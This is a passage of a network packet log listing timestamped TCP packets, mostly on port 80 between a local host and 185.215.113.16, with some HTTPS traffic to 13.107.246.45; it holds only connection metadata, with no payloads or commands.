Nov 15, 2024 13:18:29.476089001 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.476106882 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.476135015 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.476150036 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.476154089 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.476171017 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.476206064 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.476422071 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.476471901 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.476486921 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.476509094 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.476550102 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.476574898 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.476594925 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.476609945 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.476628065 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.476643085 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.476644039 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.476685047 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.477092028 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.477109909 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.477127075 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.477138042 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.477169037 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.500196934 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.517946959 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.517971039 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.517991066 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.518032074 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.546853065 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.546885967 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.546905994 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.546927929 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.546946049 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.546948910 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.546964884 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.546978951 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.547010899 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.547019958 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.547019958 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.547019958 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.547080040 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.547096968 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.547126055 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.547152042 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.547168970 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.547199011 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.553323030 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.553360939 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.553378105 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.553400040 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.553411007 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.553420067 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.553438902 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.553446054 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.553476095 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.554920912 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.554953098 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.554968119 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.554971933 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.555016994 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.555037022 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.555053949 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.555097103 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.560877085 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.575016022 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.597966909 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.597990036 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.598007917 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.598073006 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.598351955 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.598381996 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.598397970 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.598403931 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.598469019 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.598474026 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.598490953 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.598565102 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.598730087 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.598746061 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.598762989 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.598790884 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.598803997 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.598819971 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.598834991 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.598850965 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.598860979 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.598865986 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.598884106 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.598910093 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.599086046 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.599137068 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.599153042 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.599169016 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.599184036 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.599210024 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.599359035 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.599411011 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.599426985 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.599462986 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.599473000 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.599481106 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.599507093 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.599756002 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.599807978 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.599844933 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.599859953 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.599884033 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.599900961 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.599917889 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.599926949 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.599950075 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.599961042 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.599977016 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.600020885 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.600347042 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.600359917 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.600389004 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.621802092 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.640898943 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.640932083 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.640949011 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.640964985 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.641011953 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.670146942 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.670218945 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.670252085 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.670274019 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.670327902 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.670382977 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.670402050 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.670418024 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.670463085 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.670470953 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.670506001 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.670541048 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.670576096 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.670591116 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.670609951 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.670625925 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.670645952 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.670692921 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.677098036 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.677153111 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.677189112 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.677221060 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.677233934 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.677257061 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.677264929 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.677289963 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.677402020 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.678093910 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.678225040 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.678277016 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.678318977 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.678328037 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.678354979 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.678371906 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.678389072 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.678432941 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.694267035 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.711775064 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.720942974 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.720963955 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.720980883 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.721023083 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.721489906 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.721545935 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.721554041 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.721580029 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.721596956 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.721611977 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.721641064 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.721668959 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.721879959 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.721905947 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.721956968 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.721980095 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.721995115 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.722013950 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.722039938 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.722044945 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.722058058 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.722095013 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.722115040 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.722188950 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.722197056 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.722204924 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.722227097 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.722259045 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.722408056 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.722423077 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.722438097 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.722469091 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.722512007 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.722517014 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.722527981 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.722543955 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.722559929 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.722575903 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.722577095 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.722609043 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.722939014 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.722954988 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.722979069 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.722985029 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.722992897 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.723010063 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.723023891 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.723058939 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.723259926 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.723274946 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.723289967 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.723345995 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.723347902 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.723362923 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.723490953 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.746396065 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.747984886 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.748038054 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.748462915 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.748467922 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.749872923 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.759346008 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.759386063 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.759855986 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.759869099 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.764024973 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.764043093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.764059067 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.764089108 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.764123917 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.772423983 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.772945881 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.772984982 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.773411989 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.773417950 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.783956051 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.793581009 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.793653011 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.793692112 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.793705940 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.793736935 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.793741941 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.793764114 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.793778896 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.793873072 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.793903112 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.793957949 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.793994904 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.794009924 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.794048071 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.794083118 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.794096947 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.799731970 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.799817085 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.799839973 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.799855947 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.799890995 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.799902916 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.799926043 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.799966097 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.799982071 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.800012112 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.800055981 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.801081896 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.801141024 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.801175117 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.801192045 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.801445961 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.801481009 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.801498890 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.801515102 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.801592112 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.843439102 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.843473911 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.843523979 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.844055891 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.844090939 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.844125032 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.844146967 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.844768047 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.844809055 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.844815016 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.844861984 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.844896078 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.844930887 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.844947100 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.844980001 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.845031977 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.845084906 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.845136881 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.845139027 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.845175028 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.845210075 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.845217943 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.845244884 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.845279932 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.845293999 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.845313072 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.845386028 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.845437050 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.845470905 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.845475912 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.845489979 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.845557928 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.845613956 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.845632076 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.845665932 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.845701933 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.845712900 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.845736027 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.845771074 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.845779896 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.845870018 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.845918894 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.845925093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.845958948 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.846007109 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.846064091 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.846168041 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.846201897 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.846219063 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.846236944 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.846286058 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.846348047 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.846415997 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.846462011 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.846477032 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.846496105 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.846529961 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.846565008 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.846570015 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.846601009 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.846626997 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.846635103 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.846669912 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.846689939 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.868494987 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.873684883 CET	443	49761	13.107.246.45	192.168.2.7
